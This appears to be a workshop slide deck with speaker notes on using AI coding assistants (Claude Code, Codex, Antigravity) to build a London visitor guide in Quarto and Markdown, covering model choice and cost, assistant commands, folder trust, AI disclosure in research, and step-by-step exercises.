model + harness in your terminal

🧠 The model decides · 🔧 the harness does · 👀 you direct and check

🔁 Many harnesses can run several models: same tool, different results

🏢 Who Makes Which Assistant?

🏠 before the workshop 📖 reading

🤖 Assistant	Type this	🏢 Made by	🧠 Default models
✳️ Claude Code	`claude`	Anthropic	Claude
🌀 Codex	`codex`	OpenAI (also makes ChatGPT)	GPT
♊ Antigravity	`agy`	Google	Gemini

✅ The first three are installed in Step 3 · pick one

💬 Same company for assistant and model: does that mean it is the best fit for your task?

Each assistant (harness) comes from a company, and the first three are made by the same company as their default models: Claude Code by Anthropic (Claude models), Codex by OpenAI, which also makes the ChatGPT chat app (GPT models), and Antigravity, whose command is agy, by Google (Gemini models). Antigravity replaced Gemini CLI for unpaid-tier and Google One users on 18 June 2026 (see the install slide’s notes). Other assistants exist (for example GitHub Copilot CLI and Cursor); we do not install or test them here, so they are left off rather than listed unchecked. Good answer to the check: not necessarily. The assistant and the model are separate choices (previous slide); vendors’ own pairs are the easiest to set up, but the best model for a task may come from another vendor. The prompts in this workshop work in any of the three installed assistants. Sign-in and account details are on the install slide.

📏 Main Models: Pick by Task

🏠 before the workshop 📖 reading in each column: cheapest at the top

✳️ Claude	Good for	🌀 ChatGPT	Good for
Haiku 5.5 ✅ from $	simple, high-volume tasks	GPT-6 Luna $	focused, high-volume tasks
Sonnet 5.5 ✅ $$$	daily coding: speed + intelligence	GPT-6.1 Terra $$$	visual reasoning, computer use, clear writing
Opus 5.5 $$$$	long-running coding and knowledge work	GPT-6.1 Sol ✅ $$$	complex work, balancing intelligence and cost
Fable 5.1 $$$$$	demanding reasoning, long-horizon work	GPT-6 Astra $$$$$	the most demanding work

✅ Enough today: Haiku or Sonnet on medium · Sol on low

📉 Expect the same capability 100–1000× cheaper

💬 Which would you pick to fix a typo, and which to join two datasets?

each $ ≈ 3× the API price per 1M tokens · uses paraphrased from the vendors’ docs · rows are not equivalents · Claude · ChatGPT, checked 2026-11-06 · 📉 so far ≈ 10× or more a year: a16z · Epoch AI

Each company offers a family, from small and cheap to large and capable, and they do not all do the same job: the table is about use cases, not a ranking. Larger, more recent models usually follow longer instructions, plan multi-step work and recover from errors better, while small models are quicker and cheaper and are often enough for short, well-specified edits such as fixing a typo or reformatting a table. Hard tasks here, such as joining datasets or debugging a failed render, reward the stronger model. Good answer to the check: a small model for the typo, the strongest available for the join. If a prompt keeps failing, try a stronger model inside your assistant (see its documentation for how). For this workshop the prompts are short and well specified, so Haiku or Sonnet with the effort (reasoning) setting on medium, or ChatGPT’s Sol on low, is sufficient. Both vendors give a stronger starting point for unknown, hard work: Anthropic says to start with Opus 5.5 for most workloads, and OpenAI with GPT-6 Astra for complex reasoning and coding. Our advice is smaller because these prompts are small and it saves your credits.

Each column is in price order, and a row is not a pairing: there are no benchmarks here, Sol and Sonnet cost the same, and Terra costs half as much inside the same $$$ band. The $ tiers are fixed bands of the API list price per million input tokens, each about 3.2× (√10) the last, so two $ are 10×: $ under $0.32, $$ $0.32 to $1, $$$ $1 to $3.20, $$$$ $3.20 to $10, and $$$$$ $10 and above. Output prices are five times input for all eight models, so the bands hold for output too. List prices checked 2026-11-06 (input / output): Haiku and Luna $0.10 / $0.50, Terra $1 / $5, Sonnet and Sol $2 / $10, Opus $4 / $20, Fable and Astra $10 / $50. The slide shows bands, not dollars, because the numbers change often; a new price moves only its own model’s band. Subscriptions count usage differently. Haiku’s $ is for prompts up to 100,000 tokens; above that it costs five times as much ($$), which a long session can reach. Which models you can pick depends on your plan and tool version (Terra needs Codex CLI 0.159.0 or later). Sources, all checked 2026-11-06: https://platform.claude.com/docs/en/about-claude/models/overview, https://platform.claude.com/docs/en/about-claude/pricing, https://code.claude.com/docs/en/model-config, https://developers.openai.com/api/docs/models, https://learn.chatgpt.com/docs/models. Names and prices change often: re-check this table before each run. Gemini, used through Antigravity, is not in the table: add it if your group uses it.

📉 The 100–1000× within a few years is our expectation from the trend, not a promise: at a16z’s 10× a year, 100× takes about two years and 1,000× about three. The price of a fixed level of capability has fallen fast: for models matching a given benchmark score, a16z measured about 10× cheaper each year, 1,000× in the three years from November 2021 (LLMflation, Guido Appenzeller, 2024-11-12), and Epoch AI found 9× to 900× a year depending on the benchmark (LLM inference price trends, 2025-03-12); both checked 2026-11-07. Both track the cheapest model that reaches a score, not one model’s price list, and both say the pace may slow. Neither measures frontier work, so the price of what Fable or Astra do today may fall more slowly. The practical point: pick by task, not by today’s price.

⌨️ Steer the Assistant: /model · /clear · /exit

🏠 before the workshop 📖 reading

🧠

/model

bigger + higher effort = more credits · Haiku or Sonnet on medium

🧹

/clear

task done? saves credits · files stay

👋

/exit · /quit

leave the assistant · type claude to return

💸 Every reply re-reads the whole chat: a long conversation costs more tokens each turn

🔁 Next task → /clear · 🪫 Prompt keeps failing → /model, higher effort · 👋 Done for today → /exit

💬 One task is finished and an unrelated one starts. Which command first?

Slash commands are typed at the assistant’s prompt, not in the shell, and they differ a little between assistants: /model opens a picker for the model and, where the assistant offers it, the effort (reasoning) level. Higher effort thinks longer: slower and dearer, but better on multi-step work; medium is enough here. Cost follows tokens, and three things raise them: a bigger model costs more per token, a higher effort writes more thinking tokens per reply, and a longer conversation is sent back to the model with every new message, so each later reply costs more than the first (prompt caching makes repeated context cheaper, not free, and the cache expires). So the habit is: small model, medium effort, one task per conversation, /clear as soon as a task is done. Plans with usage limits or API credits drain faster with long chats, big models and high effort; many assistants show usage with a command or status line (type / to look). These cost mechanics are written from general knowledge, not yet checked against each provider’s pricing pages or dated: verify before teaching. /clear drops the conversation so old instructions and files read earlier stop steering the assistant and stop using up its context window; nothing on disk changes, and the project’s AGENTS.md is read again. Use it between tasks, and when the assistant seems confused. /exit ends the session (/quit does the same in assistants that offer it; Ctrl+C twice or Ctrl+D also leave). Starting it again in the folder begins a new session, and the files persist. Good answer to the check: /clear, because the new task needs none of the old chat. Type / alone to list the commands of your assistant. Command names written from memory and not yet checked against the official lists (https://code.claude.com/docs/en/slash-commands, https://learn.chatgpt.com/docs/codex/cli): check them in each assistant (/ lists them) before teaching, since they change often.

🐦 One Prompt · 4 Models · 3 Efforts

🏠 before the workshop 📖 reading Same words each time: Generate an SVG of a pelican riding a bicycle

	Haiku 5.5	Sonnet 5.5	Opus 5.5	Fable 5.1
low	0.09¢	1.63¢	3.79¢	10.02¢
medium	✅ 0.14¢	✅ 1.80¢	5.89¢	9.91¢
high	0.25¢	2.34¢	6.74¢	13.09¢

💬 ✅ is enough here. Is 13¢ worth 90 times a 0.14¢ pelican? · 🕰️ Every pelican since 2024

Images: Simon Willison’s pelican series, one run per cell (Haiku, Sonnet, Opus, Fable) · ¢ = its tokens at API list prices, checked 2026-11-06 · 🌀 GPT grid

This makes the previous slide’s /model choice visible. Read it in two directions. Left to right is the model: price per token rises, so the cost climbs from fractions of a cent to ten cents and more. Top to bottom is effort: the assistant thinks longer and writes more, so the cost usually rises, while the picture often gains details rather than becoming right. Every cell has a recognisable pelican on a bicycle. Haiku on low has the weakest frame, and from medium up the frame is right, which is why ✅ medium is the workshop’s advice. Stay honest about the evidence: this is one run per cell of one small, self-contained task, not a benchmark. Run it again and you get a different bird; Fable’s medium even cost less than its low. A drawing says little about a long job that joins datasets and recovers from errors, which is where stronger models earn their price. The good answer to the check is “it depends on the task”: for a pelican no, for a hard job that keeps failing perhaps yes, so start small and move up only when the work needs it. The ratio is 13.09¢ / 0.14¢ = about 93. Costs are for one reply at API list prices (https://platform.claude.com/docs/en/about-claude/pricing, checked 2026-11-06); a subscription counts usage differently. Both Sonnet 5.5 and Opus 5.5 failed at max effort in these runs: they thought for 128,000 tokens and ran out before drawing, so more is not always better. The Simon Willison series started the prompt (https://simonwillison.net/tags/pelican-riding-a-bicycle/); the linked timeline, by a third party, shows how far the drawings have come since 2024. Sources and token counts: assets/pelicans/README.md. No licence is stated on the images: they are credited and linked here. Nobody needs to run this: it is here to look at.

📂 Your Root Folder = The Assistant’s World

🏠 before the workshop 📖 reading

📍

Start it in a folder

that folder is its root: it reads, edits and runs commands there

🤝

“Trust this folder?”

answer yes only for a folder you chose for the work

🚧

Not ~, not Documents

a small project folder keeps everything else out of reach

🔄

New project?

/exit · cd to its folder · start the assistant again

🏠 pwd before you start: it prints the root

When a coding assistant starts it treats the current folder as its root, the default world it works in: it reads and edits the files there and in the folders below, and runs commands from there. The first time you start one in a folder it asks whether you trust that folder (the wording differs between Claude Code, Codex and Antigravity). Trusting it means you allow the assistant to read the files and, with your approvals, change them and run commands there, so trust only folders you created for the work, never a folder with other people’s projects, private documents or keys such as ~, ~/.ssh or Documents. Project instructions in the folder, such as AGENTS.md, are also read and followed, which is another reason to trust only your own folders. Starting inside the project folder means paths in prompts are short (data/london.csv), the project’s AGENTS.md is found, and a mistake stays inside one folder you can restore. It is not a guaranteed boundary: approve each command by reading it, because a command can still name a path outside the root. To work in another folder, leave with /exit, cd there and start again. Never run two assistants writing to one folder. The setup steps use ~/setup for the install prompt and each part uses its own project folder. Written from general behaviour of these tools, not yet checked against each tool’s documentation: verify before teaching.

📜 Using AI in Research: Say It, Own It

🏠 before the workshop 📖 reading

🚫

Never an author

AI cannot be accountable

🔍

You verify everything

code, numbers, references

🔒

Keep private data out

unpublished or sensitive work stays out of public tools

📝

Disclose the use

tool + version · task · your checks

⚖️ Never generate or alter primary data or images: that is misconduct

💬 Which needs a statement: fixing a typo, or computing a table? · 📝 An example

Publishers’ policies differ, so read the one for your journal, course or employer before submitting. The common core, from the summary supplied for this deck (not yet checked against each publisher’s own policy page: do that before teaching, and record the date): AI tools are not listed as authors because they cannot take responsibility; the authors verify AI output, including facts and references, and answer for plagiarism; unpublished manuscripts, review reports, participant data and proprietary work are not uploaded to public AI tools. Where to disclose depends on the use. Basic copyediting (grammar, spelling) is usually exempt. Drafting or translating text goes in the acknowledgements or a declaration, with the tool and version. Data analysis and coding go in the Methods, with enough detail to reproduce them. Explanatory diagrams are disclosed in the caption or declaration. Generating or altering primary research images or raw data is prohibited. Other common forms, from the same summary: for translation, name the tool and say you reviewed the translated sections so the meaning was preserved; for a diagram made with a generative tool, say which figure, which tool and version, that you edited and labelled it, and that it fabricates no primary data; and, optionally, a statement that no AI tools were used. Publishers also differ in form: some ask for a separate AI declaration with the submission, some for a note in the cover letter, and some ban AI-generated images outright. This workshop is a reason to practise: you direct an assistant, so you will have something to disclose. The 📝 link opens this deck’s own statement, its second slide: adapt it by naming your own assistant and model exactly as your assistant names them, with the version, saying which tasks it performed, and keeping the last sentence. Good answer to the check: a typo fix is basic copyediting and is usually exempt; computing a table is analysis and belongs in the Methods, with enough detail to reproduce it, which here is the code and the AGENTS.md that the project keeps.

📖 Markdown in Y Minutes

🏠 before the workshop 📖 reading

👉 learnxinyminutes.com/markdown · 🇪🇸 en español

# headings

✳️

*emphasis* · **bold**

📋

- and 1. lists

🔗

[link](url)

![image](file)

🧮

| tables | · ``` code fences

Exercise · ⏱️ 5 min

you can name the Markdown for a heading, a link and a table.

🧰 Ready to Prompt

⏱️ 0:15

✋ Setup check or 🧪 test run failed? Ask a helper now

🧰 Three Boxes, Three Roles

👀 An example: you will paste prompts like this from Part 1 on.

Create london.md with a level-1 heading "Visit London" and one welcome paragraph.

writes london.md · may run quarto render london.md

approve its commands · open london.html in your browser

🧪 Prompts Are Engineered · 🔍 Ask When Unsure

🧪

Engineered prompts

designed with AI to reduce errors

❓

Don’t understand it?

ask an AI or search the docs

🔍

Dig deeper

what it does, why, when to use it

Explain what a Markdown table is and when to use it. Then name the official docs page where I can verify your answer.

🗣️ How to Prompt Your Coding Assistant

🎯

Be specific

file names, columns, chart types

☝️

One step at a time

one task per prompt

✅

Ask it to run & check

“…render it and tell me about errors”

👀

Check what changed

you are responsible for the result

🌍 ¿Español? Your first prompt can be: Responde siempre en español; deja el código y los nombres de archivo en inglés.

💬 A Free Web Chat Can Draft Your Prompt

An animated example in five steps. A free web chat, such as Gemini, gets a request typed in plain words: a one-page London visitor guide, and a prompt for a coding assistant, naming the tools Quarto and Markdown, of one to four lines with one task, concrete file names and a check. The chat replies with a prompt: Use Quarto and Markdown, create london.md with the title Visit London, a level-1 heading and a two-sentence welcome, add a heading Top sights with three bullets each naming a place and why to visit, run quarto render london.md, then list the headings in london.html and any errors. The Copy button is pressed. The prompt is pasted into a coding assistant in the terminal, which writes london.md, runs quarto render london.md, lists the headings in london.html and reports no errors. — Plain words in a web chat → a ready prompt → your coding assistant runs it.

💬 Web chat: draft · ✅ you read it · 🤖 assistant: run it. Never paste private data.

A free web chat such as Gemini, ChatGPT or Claude is a good place to turn a rough idea into a prompt for the coding assistant. Type what you want in plain words and ask for a prompt of one to four lines, one task, the tools to use, concrete file names and a check. The animation is an illustration drawn for this slide, not a recording: replies vary, so always read the prompt before you copy it, and fix any file name that does not match your folder. The web chat cannot see your files, so it guesses; the assistant can, so it checks. Paste only what you would be happy to share: no passwords, no private or unpublished data. Free plans and their limits change, so check the provider’s own page. Your own request can be: “I want [what]. I use [tools, e.g. Quarto and Markdown]. Write me a prompt for my coding assistant: 1 to 4 lines, one task, concrete file names, and ask it to check its work.” Naming the tools matters: the chat cannot see your computer, so without them it guesses. Declare this use under AI policy.

🇬🇧 Part 1 · London in Markdown

⏱️ 0:30

🗺️ Part 1 in Five Blocks

📝

0:30 Markdown → HTML · rules · environment

🧪

1:20 .md → .qmd: YAML · code · docx + PDF

🗂️

1:40 🤖 three audiences in parallel

🌍

1:55 publish to GitHub Pages

🔁

2:15 change an input, no prompt given

🏁 a live dashboard URL on your phone 📱 · 🔁 you explain what a changed input updates

☕ 1:05 after the first block · 🍽️ 2:25 before 💧 Part 2

Thirty-five minutes for the first block, when the assistant, the project rules, the preview and the Python environment are new. Then, after a 15-minute break, twenty for the 🧪 block, fifteen for the audiences, twenty for publishing, whose first publish was timed in the dry run of 2026-11-01, and ten for the last block, before the meal. The same times appear on the section dividers. Exercise times add up to 14, 8, 6, 9 and 4 minutes; the rest of each block is for showing results and helping someone recover. The ⭐ pptx, epub and revealjs exports, the ⭐ square ad and the ⭐ white paper are self-paced: demonstrate them. The three audience versions come from one prompt whose sub-agents run in parallel, so they take about as long as the dashboard alone; the ⭐ 3-D map, WSL and terminal-key slides fill that wait. The last block is the only one without a supplied prompt: it tests whether people can predict and check what a rebuild changes, so give hints only when asked. People stuck for two minutes paste the 😰 catch-up prompt on the hands-on slide and rejoin at the next block. These times are estimates: rehearse with a stopwatch and adjust them together with the section clocks and README.

🏛️ You Work for London’s Tourism Office

✍️ write one guide → ♻️ reuse it for every audience

📁 ~  (your home folder)
├── 📁 quarto-workshop/  ← clone
└── 📁 london-guide/     ← you

cd ~
mkdir -p london-guide && cd london-guide
claude

or codex / agy instead of claude

😰 Stuck for 2 min? Paste the exercise’s Catch me up prompt: 💾 backup → 📋 checkpoint → ▶️ render → ➡️ rejoin at the next ⏱️ block · ✋ approve access to ../quarto-workshop when asked

The catch-up reaches outside the start folder, so the assistant asks permission: Claude Code reads it only after approval, or start it with claude --add-dir ../quarto-workshop (Codex: codex --add-dir ../quarto-workshop; Antigravity: approve the prompt). Create london-guide/ next to the cloned quarto-workshop/ (not inside it), so the checkpoints are always at ../quarto-workshop/checkpoints/. Start the coding assistant inside london-guide/. Every hands-on slide has a copyable “Catch me up” prompt naming a checkpoint README. The README lists the steps, which work by hand too: copy the folder, all but its .venv/ (the environment uv run rebuilds), to a new time-stamped ../london-guide-backup-NN-<time> (earlier backups are kept), copy the checkpoint into london-guide/, render, check a named file, and name the slide to rejoin at. A checkpoint is the state at the end of its block, so it can include steps later in that block: after catching up, skip the block’s remaining prompts and follow the slides until the next ⏱️ block starts. The room routine: anyone stuck for two minutes catches up, and everyone is hands-on together again at the next block.

1️⃣ Heading · Paragraph · Emphasis

Create london.md with a level-1 heading "Visit London" and a welcome paragraph with one bold and one italic phrase.

# Visit London

Welcome to **London**: free museums, royal history and *riverside walks*.

Visit London

Welcome to London: free museums, royal history and riverside walks.

Exercise · ⏱️ 1 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

london.md has a heading and a welcome paragraph.

▶️ Render It

Render london.md with quarto render and tell me which file it wrote.

quarto render london.md → london.html

in a second terminal tab (Windows Terminal: Ctrl+Shift+D):

cd ~/london-guide && quarto preview london.md

live view, reloads on every change · Ctrl+C stops it

🚫 YAML · 🚫 code · ✅ a web page

Exercise · ⏱️ 3 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

london.html opens and updates whenever london.md changes.

📜 AGENTS.md: Rules the Assistant Reads

🎯

Scope

what the project is, and is not

📏

Rules

what must always hold

⌨️

Commands

how to build and check it

🔁

Every session

Claude Code, Codex and Antigravity read it first

✍️ say it once → every session follows it

AGENTS.md is a plain Markdown file in the project folder. Coding assistants read it at the start of every session, so rules written there survive a restart, a new day and a catch-up. Codex “reads AGENTS.md files before doing any work” (https://learn.chatgpt.com/docs/agent-configuration/agents-md); Antigravity reads AGENTS.md or GEMINI.md in the project’s folders (https://antigravity.google/docs/rules). Claude Code (v2.1.277 or later) reads AGENTS.md when no CLAUDE.md, .claude/CLAUDE.md or CLAUDE.local.md is in the folder or above it, and prints “AGENTS.md loaded”; if it does not, ask it to create a CLAUDE.md containing @AGENTS.md (https://code.claude.com/docs/en/memory). All checked 2026-10-30. It is context, not enforcement: the assistant can still slip, so check the results. Keep it short and checkable; it grows with the project, and the environment step adds its commands. This workshop’s own repository has one too.

📜 Rules for the Guide

Create AGENTS.md for this project. Scope: a London visitor guide for the tourism office, written once and reused for every audience. Rules: every number comes from a cited file in data/, photos are openly licensed, credited and show no people, never invent facts, keep data/ and images/ unchanged, and call ALVA counts "ALVA member attractions". Show me the file.

writes AGENTS.md: a scope and a list of rules

approve · read it: does it say what you meant?

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

AGENTS.md states the guide’s scope and its three rules.

2️⃣ Lists

In london.md, add a "Five sights to start with" numbered list (British Museum, Natural History Museum, Tate Modern, National Gallery, Tower of London) and a "Getting around" bullet list: 🚇 Tube, 🚌 Bus, 🚲 Santander Cycles.

## Five sights to start with

1. British Museum
2. Natural History Museum
3. Tate Modern
4. National Gallery
5. Tower of London

## Getting around

- 🚇 Tube
- 🚌 Bus
- 🚲 Santander Cycles

Five sights to start with

British Museum
Natural History Museum
Tate Modern
National Gallery
Tower of London

Getting around

🚇 Tube
🚌 Bus
🚲 Santander Cycles

Exercise · ⏱️ 1 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

each list has its own heading.

3️⃣ Link · Image · Quote

Copy ../quarto-workshop/examples/london/images here. In london.md, add "Plan your visit": a TfL Journey Planner link, images/big-ben.jpg at 30% width with alt text and a credit caption from images/ATTRIBUTION.md, and a "Tip from a local" blockquote.

Plan your route with the [TfL Journey Planner](https://tfl.gov.uk/plan-a-journey/).

![Big Ben in the sun. Photo: John Dillenbeck, CC0, via Wikimedia Commons](images/big-ben.jpg){width=30% fig-alt="Big Ben's clock tower …"}

> **Tip from a local:** many big museums are free. Book a free timed ticket to skip the queue.

Big Ben's clock tower and the Palace of Westminster against a blue sky with white clouds. — Big Ben in the sun. Photo: John Dillenbeck, CC0, via Wikimedia Commons

Plan your route with the TfL Journey Planner.

Tip from a local: many big museums are free. Book a free timed ticket to skip the queue.

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

the photo shows with its credit and the link opens TfL.

[text](url) is a link; ![caption](file) an image. The {...} after the image is a Pandoc/Quarto extension: width sizes it and fig-alt is the alt text screen readers announce (without it the HTML image has no alt). > starts a blockquote. The file has the full alt text: “Big Ben’s clock tower and the Palace of Westminster against a blue sky with white clouds.” The assistant copies the photo folder; by hand it is cp -R ../quarto-workshop/examples/london/images .. Photo: “Big Ben in the sun”, John Dillenbeck, CC0 1.0, file page https://commons.wikimedia.org/wiki/File:Big_Ben_in_the_sun.jpg (licence and absence of people checked 2026-10-30). The tip: 8 of London’s 10 most visited ALVA attractions have free general admission (examples/london/data/attractions.csv). Free tickets: the British Museum advises booking a free ticket because entry without one depends on capacity, with queues expected at busier times (https://www.britishmuseum.org/visit); the Natural History Museum says ticket holders skip the queues and a free entry ticket guarantees entry (https://www.nhm.ac.uk/visit.html). Both checked 2026-10-30.

4️⃣ Table

Copy ../quarto-workshop/examples/london/data here. In london.md, add a "Sights at a glance" table from data/sights.csv: a photo from images/ (height=60, no unit; alt text), Sight, Price band, Nearest tube and a "Read more" link to its `official_page`. Credit the photos (images/ATTRIBUTION.md) and the sources.

| Photo | Sight | … | More |
|---|-----|---|----|
| ![The British Museum's glass roof](images/british-museum.jpg){height=60} | British Museum | … | [Read more](https://www.britishmuseum.org/visit) |

Photo	Sight	Price band	Nearest tube	More
	British Museum	Free	Tottenham Court Road	Read more
	Tower of London	Paid	Tower Hill	Read more

2 of your 5 rows: one free, one paid

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

every sight has a photo and a working “Read more” link.

Pipes | separate columns; the |---| row marks the header, and its dash counts set the relative column widths. An image or a link works inside a cell. The light card shows two of the five rows, one free and one paid, so the text stays readable; the rendered london.html has all five. PowerPoint tables cannot hold pictures, so the pptx version shows each photo’s alt text instead. Photos (credits in images/ATTRIBUTION.md, checked 2026-10-30): British Museum, Mike Peel; Tate Modern and National Gallery, Diego Delso; Tower of London, Dietmar Rabich (all CC BY-SA 4.0); Natural History Museum, Julian Herzog (CC BY 4.0); all via Wikimedia Commons, with no people. The prompt copies the cited data/ folder now, for the table’s facts; the next block’s code reads the visit numbers from the same folder. By hand: cp -R ../quarto-workshop/examples/london/data .. data/sights.csv has one row per sight and fact, each with its source, so the assistant copies facts instead of recalling them; check what it writes. “Read more” links are each sight’s official visitor page. Stations from the official visitor pages (checked 2026-11-01): British Museum, Tottenham Court Road (britishmuseum.org/visit); Natural History Museum, South Kensington (nhm.ac.uk/visit/getting-here.html); Tate Modern, Southwark (tate.org.uk/visit/tate-modern); Tower of London, Tower Hill (hrp.org.uk/tower-of-london/visit/getting-here). The National Gallery’s pages name no nearest Underground station, so that one comes from TfL: a StopPoint search around the Gallery’s coordinates (taken from the Gallery’s own TfL map link) lists Charing Cross Underground first, 83 m away, then Leicester Square and Embankment (https://api.tfl.gov.uk/StopPoint/?lat=51.50893020629883&lon=-0.12829899787902832&stopTypes=NaptanMetroStation&radius=800, checked 2026-11-01). “Free” means free general admission (ALVA code 4: special exhibitions charged); the Tower of London is “Paid” (ALVA code 1, all pay). The table has no “Area” column: the sights’ own pages do not name their districts consistently (the British Museum’s gives only its street address), so an area would be a fact without a source. The British Museum’s and Historic Royal Palaces’ sites answer scripts with 403 Forbidden, so an assistant’s link check may call those two links broken: open them in a browser.

5️⃣ Code Fence

In london.md, add a "Before you go" section: a three-item checklist inside a plain text code block.

## Before you go

```text
[ ] Contactless card or Oyster card
[ ] Free museum tickets booked
[ ] Comfortable shoes and an umbrella
```

Before you go

[ ] Contactless card or Oyster card
[ ] Free museum tickets booked
[ ] Comfortable shoes and an umbrella

Exercise · ⏱️ 1 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

the preview keeps the checklist’s line breaks and brackets.

🧰 Environments: Then and Now

💻

macOS · Windows · Linux

🔩

Chip

Intel/AMD x86_64 · Apple/ARM arm64

🗣️

Language

Python · R · JS … which version?

📦

Dependencies

packages · versions · compiled C

🕰️

Then

conda · compilers · PATH · kernels → ⏳ hours

⚡

Now 🐍 uv

🔒 one lockfile, every OS and chip → ⏱️ seconds

🤖 either way: the assistant sets it up · you approve

Code runs on an operating system and a chip, in some version of its language, with packages at particular versions. That holds for most languages, not just Python. Many scientific packages contain compiled C, C++ or Fortran, built separately for each OS and chip: Python ships them as wheels whose platform tag names both, such as macosx_11_0_arm64 (“compatibility with macOS 11 or later”) or manylinux_…_x86_64 (https://packaging.python.org/en/latest/specifications/platform-compatibility-tags/). Setting this up used to be a lesson of its own: install conda or a system Python, sometimes a compiler, fix PATH, register a Jupyter kernel, then debug it on each laptop. For Python, uv now does it in one step. It fetches Python too (“uv automatically installs missing Python versions as needed”, https://docs.astral.sh/uv/guides/install-python/), and uv.lock “captures the packages that would be installed across all possible Python markers such as operating system, architecture, and Python version” (https://docs.astral.sh/uv/concepts/projects/layout/), so one lockfile serves every Mac, Windows and Linux laptop in the room. Other languages pair a project file with a lockfile the same way: R’s renv.lock (https://rstudio.github.io/renv/articles/renv.html), npm’s package-lock.json (https://docs.npmjs.com/cli/v11/configuring-npm/package-lock-json) and Rust’s Cargo.lock (https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html); all checked 2026-10-31. Either way, nobody needs to remember the commands: say what the project needs, and the assistant runs them while you approve. The next slide does exactly that. About a minute, no exercise, inside the block’s slack.

📦 A Python Environment for the Guide

Give this folder its own Python environment with `uv`: run `uv init --bare`, then `uv add ipykernel nbclient nbformat pyyaml pandas matplotlib plotly`. From now on run `quarto` and `python` through `uv run`, and add that rule to AGENTS.md. Show me the Python line of `uv run quarto check jupyter`.

📦 pyproject.toml · 🔒 uv.lock · .venv/ · a rule in AGENTS.md

approve its commands

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

uv run quarto check jupyter reports the Python in this folder’s .venv.

The next section runs Python, so the guide gets its own environment first, recorded in the folder: pyproject.toml lists the packages, uv.lock pins their exact versions, and .venv/ holds them. Keep the preview running: london.md needs no Python. Quarto needs ipykernel, nbclient, nbformat and pyyaml to run {python} cells; the guide adds pandas, matplotlib and plotly. The bigger jupyter package (JupyterLab and Notebook) is not needed. uv installs in seconds: on 2026-10-30 a cold install of the Part 2 set took 8 s with uv and 31 s with pip plus jupyter, on one fast connection. Quarto refuses to run Python next to an unactivated .venv (“There is an unactivated Python environment in .venv”), so every Quarto and Python command from here on starts with uv run, which also brings .venv up to date from uv.lock first; the rule goes into AGENTS.md so the assistant keeps it after a restart. A copied checkpoint therefore rebuilds its environment on its first uv run. Docs, checked 2026-10-30: https://docs.astral.sh/uv/concepts/projects/run/ and https://quarto.org/docs/projects/virtual-environments.html.

🛟 Stuck? Catch Up, Then Rejoin

⏱️ stuck 2 min → 🛟 Catch me up → ➡️ next ⏱️ block

Catch me up: follow ../quarto-workshop/checkpoints/01-london-markdown/README.md

💾 ../london-guide-backup-01-<time> · 📋 copies the checkpoint · ▶️ renders · ➡️ names the slide to rejoin at

👀 watch the demo · behind, or london.md broken? paste it now

☕ Break

⏱️ 1:05

☕ 15 min · back at 1:20 for 🧪 .qmd

🛟 london.md won’t render? Ask for help now, or paste the 🛟 slide’s Catch me up

🧪 From .md to .qmd

⏱️ 1:20

🧾 YAML Front Matter

Rename london.md to london.qmd. Replace the "# Visit London" heading with YAML front matter: title "Visit London", author "London Tourism Office", date today, format html. Do not render; my preview rebuilds it.

---
title: "Visit London"
author: "London Tourism Office"
date: today
format: html
---

renames to london.qmd · edits the top

preview tab: Ctrl+C, then uv run quarto preview london.qmd

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/02-london-qmd/README.md

london.html shows the title, author and date.

🐍 Code That Runs

In london.qmd, add a Python cell that reads data/attractions.csv and finds the most visited attraction and total visits_2025, plus a sentence showing both with inline code. The preview re-renders it: check london.html.

```{python}
import pandas as pd
attractions = pd.read_csv("data/attractions.csv")
top = attractions.loc[attractions["visits_2025"].idxmax()]
top_name = top["attraction"]
top_visits = f"{top['visits_2025']:,}"
total_visits = f"{attractions['visits_2025'].sum():,}"
```
Most visited in 2025: the `{python} top_name`, with `{python} top_visits` visits.
London's ten most visited ALVA member attractions drew `{python} total_visits` visits.

Most visited in 2025: the Natural History Museum (South Kensington), with 7,116,929 visits. London’s ten most visited ALVA member attractions drew 39,692,434 visits.

💬 if attractions.csv changes, which numbers update?

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/02-london-qmd/README.md

the sentence shows numbers computed from the CSV.

A fence with {python} runs when you render, and its output lands in the document. Inline code `{python} name` puts a value in a sentence, so the text never goes stale. The syntax arrived in Quarto 1.4 (https://quarto.org/docs/blog/posts/2024-01-24-1.4-release/, “Inline Code Syntax”). Docs: https://quarto.org/docs/computations/inline-code.html (both checked 2026-10-30). data/ arrived with the table step (#md-table). The numbers on the light card are computed by this deck from examples/london/data/attractions.csv: ALVA “Visits made in 2025”, London rows, top ten (https://www.alva.org.uk/details.cfm?p=423, retrieved 2026-10-30). Only ALVA members are counted, so this is not every London sight. The 💬 question checks the idea, not the output: every inline value (the top attraction’s name, its visits and the total) updates, and nothing typed by hand does; they change at the next render, not when the CSV is saved.

🏷️ Code Cell Options

Add a matplotlib cell: a horizontal bar chart of visits_2025 by attraction. Hide its code, label it fig-top10, add a caption and alt text. The preview re-renders it: check london.html.

```{python}
#| label: fig-top10
#| echo: false
#| fig-cap: "Visits in 2025 (ALVA)."
#| fig-alt: "Bar chart of visits by attraction."
top10 = attractions.sort_values("visits_2025")
top10.plot.barh(x="attraction", y="visits_2025", legend=False)
```

Horizontal bar chart of 2025 visits to ten London attractions, longest bar at the top: the Natural History Museum is highest and Royal Museums Greenwich lowest. — Figure 1: Visits in 2025 (ALVA).

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/02-london-qmd/README.md

the figure has a number, a caption and no code.

🖨️ One Source, Three Formats

first: Ctrl+C in the preview tab, so two renders don’t collide · restart it after

